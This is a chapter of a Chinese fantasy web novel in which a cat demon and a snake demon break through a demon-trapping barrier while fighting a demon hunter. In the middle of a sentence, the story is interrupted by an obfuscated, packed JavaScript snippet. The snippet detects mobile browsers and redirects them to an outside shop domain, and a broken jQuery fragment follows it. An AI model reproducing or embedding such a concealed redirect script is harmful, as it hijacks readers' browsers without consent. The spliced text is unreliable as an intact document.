青狐丘在茨城的北部,余清和在南北门之间犹豫,爪子最后按在北门的位置:“我去这里。”
萧簌紧跟:“我也去这里。”
花领主看了一眼萧簌,不是很赞同,劝道:“青狐丘虽不远,但里面狐妖很多,那些妖生来祖辈都占着那一方土地,不是很欢迎外面的妖,更别说萧簌你是一条蛇,那群狐狸最排斥蛇类。”
萧簌并未动摇,反而说:“不让我进去,那我就在外面等她出来。”顺带看了端坐在地上的余清和一眼。
余清和仰头看他,“你是我的丫鬟吗?上哪都要跟着我。先去启州悦安寺等我吧,在路上说不定你就碰见莫法道士了。跟我一起去青丘狐,我会担心你遇到危险的。”
萧簌哎了一声,反驳道:“这路上哪里没有危险?”他目光扫过余清和的两条短腿,带了些自嘲,“比起丫鬟,我是板车还差不多,载着你更快去到那个青狐丘。”
余清和朝他眨眼,他说的有些道理,便笑道:“那要是有狐狸不让你进去,我就悄悄把你藏进去。”
花鼠不再多说,留了两颗黑红色的妖丹,让她们在结界再次产生裂口的时候,让这两颗妖丹自爆炸出一个缺口,尽快从北门处离开。
花鼠将妖丹给她们时,地面上的群妖已经开始陆续钻进地下妖城,前往它们要去的方位。
“这是两条红鳞五环毒蛇的妖丹。”萧簌将两颗妖丹仔细看了一番,他看向就要离开的花鼠,问:“你们怎么连这个都有?这种蛇...只居住在益州的暗河洞穴。”
“你知道的倒是多。”花鼠有些欣赏的目光落在萧簌的身上,虽然益州和恭州接壤,但他一直都生活在恭州,对邻近的这块土地并不了如指掌。
“是飞鸟在城里捡回来的。”
花鼠面色微肃,认真道:“城内四个捉妖师,其中必有一位非常危险,那人行动狡黠让人和妖都抓不到尾巴,如今城内肆虐的疯妖都是出其手笔。你们从北门出,更是要小心。”
余清和瞬间便想到了一个人,然后又想到了一个人。
她所碰上的那对师兄师妹,各有各的阴晴反复。不过也有可能是那个她一直没遇见人,飞鸟所说的“病痨鬼”,行踪难测,不就是说这个人吗?
四个人中,三个人都有着很大的可能。
而那个跑得不快,略占下风的捉妖师,虽然抓住的小妖多,但在这几人中最显温良。
“你走了之后,没过多久我就遇上了一只疯妖,顺着西边跑就碰上了花领主他们。城内太过动荡,领主竟然还要帮那些人逃难,”萧簌缓缓讲起她不在时发生的事,“和花领主再见后,我才知道你进了城内,当吸引捉妖师注意的诱饵。你竟然跑去做这么危险的事?”
直到现在,他还是一副难以相信的表情,但在惊讶后,还有一种莫名的了然。
“我也没闲着就是了,花领主叫我去把城里的人悄悄带出来,我马上就答应了,不过后面碰上了老道士的人,区区凡人怎么抢的过我们,那老道士的手下也被我们带出来了,结果没想到老道士直接带着一根棍就打过来了。”
萧簌拉开自己的衣袖,露出上面一道暗褐色的痕迹,眉飞色舞地将手臂伸到余清和的面前,“你看,这就是那棍子打的,可疼了,简直比那天晚上捉妖师烧焦尾巴还疼,你没想到吧,那老道士看上去就要西去了吗,结果力气竟然这么大!”
余清和抬起爪子按上去,抬眼看他的反应,“现在还疼吗?”
“一点也不。”萧簌觉得有些痒,赶紧把手臂收回来,手掌在上面一搓,“那老道士给我配了特别的药,已经快好了。还好那天花领主在,他一来,这两个老头以前竟然还认识,但可能交情不深,后面就是我们和那些人一起,把城里的大人小孩全都转移到了靠近结界的安全地方。”
萧簌说完低着头,忽然放低了声音,手指在地上有一下没一下地划动,“那天我想拦着你,因为我害怕你去了就不会再回来了,当花领主找到我的时候,我发现你胆子真是大。我明明比你更会用妖力,却因为以前的事情只想当缩头乌龟,妖城里有妖力比我还弱的妖,但它们其实都比我强多了。”
“其实当我决定去救城里的那些人的时候,感觉好像也没那么危险,将他们带出城后,更不觉得危险了。我在想,要是当初我回头多看几眼,是不是不会像现在这样...不知该去向何处?”
余清和挪了挪位置,身侧的皮毛微微靠在萧簌旁边,一只爪子按在他的身上压过,她抬头看向他,说:“过去的事都已经过去了,没想到你是条这么胆小的蛇啊,但是我觉得你有时胆子挺大啊,还记得第一次见面的那晚,你明明可以不带我走的。”
“你是我救下的第一只妖。”
余清和爪子钩住他的衣服,想要往上爬,结果被他握着猫身放在了肩上,她站定后笑道:“你今后会救更多的好人,更多的小妖,甚至是大妖,不过我还是你救下的第一个大妖。”
萧簌听着她的话,笑了起来,想起了故人,“其实清和你真的很像结生领主。”
“要是你想要当领主称霸一方,我一定会全力协助你。”
像是花鼠这样的领主吗?
余清和觉得那似乎有些遥远,但妖身初入世,心比天高气势昂,夸下海口:“称霸一方的话,当然要当第一无二的妖王啊!一个左护法一个右护法,十八宫三十六门,后宫收尽妖男俊女,桃缘满天飞知己遍地走...”
“你这是从哪看的?”萧簌笑得被口水呛住接连咳嗽,脸色微红。
余清和眉眼微,扬声道:“话本里啊。”
“刚好我已经和那人和离了,我和爹娘说过,要自己找个和我心意的新郎。”
“那我助你当妖王,到时候整个妖界的俊男美女,都会来参加你的妖王大典。”萧簌说道。
余清和还不知道妖界是指什么地方,萧簌知道她是当人太久了,根本不知道这些被妖视为常识的事。他本来也是不太清楚的,但结生领主来了益州后,他才没像山野间的小妖一样,活得浑噩无知。
妖界是不适宜凡人生存的地方,现在还有妖群活动的只有三个位置了:山雪原,紫辉道,沉水涯。在这三个地方生存的主要种群也各有不同,现在的妖王,应该还是山雪原中的融雪狼。
和余清和谈起这些事时,妖界又变得很远。
余清和与萧簌还未化为原形找个地方躲着,就被人发现了行踪。
状况有些恐怖,人还未到,就有刀气般的乱风朝着一人一猫砍来。
萧簌抬手护着肩上的猫,倒退着空翻躲开。余清和能自己翻身躲,但别人带着她翻飞,可真是一点支撑的力量都没了,四只爪子下意识紧紧攥着萧簌的衣服,才略感安全。
偏偏两妖正要一起行动,现在分开,就怕错过转瞬即逝的时机。
谢渔紧盯着那只被护着的花猫,感觉找到了拐妻仇人。
在房里发现的猫毛颜色,还有余家下人找到的猫毛,现在都对上了。
就是眼前这只看似普通实则心黑的东西!
“区区两只小妖,竟敢在我面前大放厥词。”谢渔和眼前人形蛇妖一交手,发现对方还没有城内的疯妖强。
若是他拿回了青刀,几息就能把这条蛇宰成枣大的碎骨肉。
但他手里的只是一根半人高的野草杆,他硬生生将其作刀使用。
忽而一杆子打在了萧簌的腿上,直接抽破了他的裤腿,但萧簌皮有些厚实,只打出了一道刺眼的红痕,血都没渗半滴。
一连挨了好几下,草杆打破成了鞭子似的。萧簌化出了蛇尾,尾巴一卷将草杆直接扯成了两半。
谢渔扔掉手中的断草,双手握拳,上前一步拉近两人距离后,一拳朝着对方肩上的猫妖打去。
十成的力气被萧簌用小臂硬抗下来,他一尾横扫捉妖师的下盘,力有千钧不遑多让,谢渔咬牙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870308|212278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扛过。
南边率先出现了细微的裂痕,瞬间便延伸到了北边。
余清和马上松开爪子,滑到萧簌的衣襟处,翻出那两颗妖丹含在了嘴里。
果然是一股水草气味。
但她又马上放下,按她妖力不稳定的情况,这应该交给萧簌来才对,她一时着急,有些慌忙了。
余清和跳到地上,妖语对着萧簌喊道:“你去破开阵法,我来拦住他!”
萧簌立即抽身,手往衣服里一摸,两颗有些湿润的妖丹被他握在手心,持续输入大量的妖力。
他抬头观察裂缝产生的地方,顺着微弱的光茫,跑向了距离他们不远的一处。
余清和一落地,便立刻吸引了谢渔的注意,她原身轻巧敏捷,谢渔早就吃了不少的亏,现在还在吃。
将要被妖力撑爆的妖丹被萧簌甩向裂缝处,刚碰上坚硬的结界,两颗妖丹接连爆出刺眼的红光,汹涌乱窜的妖力被结界吸收,在里面横冲直撞,将细小的裂很直接撕开了一个拳头大小的空洞。
“小泥巴!”
萧簌大喊一声,余清和迅速转身甩开捉妖师,此时变故突生。
余清和感觉自己的四只爪子突然被什么缠住,她突然被拉住,脑袋直接撞在了地上,有些头晕刺痛。
几条细软的藤条从土层里钻出,其中一条直接扎进了她的胸口。她感觉到有热流从自己身体里流出,但并不疼,只是有些涨。
萧簌看着这情景就快疯了,他的尾巴穿过洞口缠住地上的杂草,化为蛇形时穿的衣服裤子落了一地。
用尽了平生最快的速度,他张嘴咬住了余清和的身体,随后像条收缩的金绳飞向了阵法外。
余清和感觉自己被卡了一下,还好紧急关头,她的妖力又能用了,她化成一只更小的猫,堪堪挤出了阵法的破洞。但萧簌把她整个咬在嘴里,一路上又黑又晃。
她没气力地笑了一声,“周围都是水草的味道。”
她的声音从蛇嘴里传出来有些嗡嗡的,萧簌不知道要不要把她吐出来。
“你竟然又救了我一次,我以后当妖王,封你做左右大护法,和我平起平坐,咳咳——”
“消停点吧,小泥巴。”萧簌的声音也含含糊糊的,没想到自己还能对别人说出这种话。
谢渔自藤蔓出现便一直站在原地没动,他不知道发生了什么,但刚刚那瞬,感觉自己的心脏被捅穿。他的手压在自己心口,没有任何伤痕,那瞬间就像是他的错觉,但当他抬脚往阵法边缘走时,双腿突然不稳,跪在地上弓身吐出一大滩血。
齐笙冷着脸用赤霞割破疯妖的喉口,藏在后面的妖丹碎裂成灰,喷溅的妖血已经将她肩颈出的衣裳染红,像是披着赤红流光云肩。几滴溅上她的眼睛,顺着眼珠流进眼睑,将整只眼珠晕成淡粉。
她想起自己在群山涧里也是这样,不过是剑起剑落,师兄和她划清界限,已经不知道应该想些什么了。
“天哪,难道你其实是我的师姐吗?”惊风从认出何欲安的剑法时便开始惊讶,何欲安将自己的木剑给他练手后,他又惊又喜。他使出师父教过的剑招,与何欲安互相配合,处理围在他们周围的疯妖。
茨城最南处。
一位白衣公子站在官道旁,他刚和一群人并一群装作人地妖物从城里逃了出来,周围全是成堆的大人小孩。
他不紧不慢地从他们身边经过,自己寻了个遮荫的僻静地方,靠着身后树干,惬意地呼了口气,看向恢复如新的困妖大阵,“还真是有意思。”
谢渔的手撑在地上,手掌被蔓延的血迹染红,吐完后便开始咳嗽,心中也突然有些明白:是那条该死的烂青藤搞鬼。
坏了他的大事。
谢渔站起身,随意擦掉唇边血迹。他走到阵法前,困妖阵已经自行修复。
他的手压在阵法上,黏出残缺手印。
就差一点,就能让那两恶妖吐出清和的下落。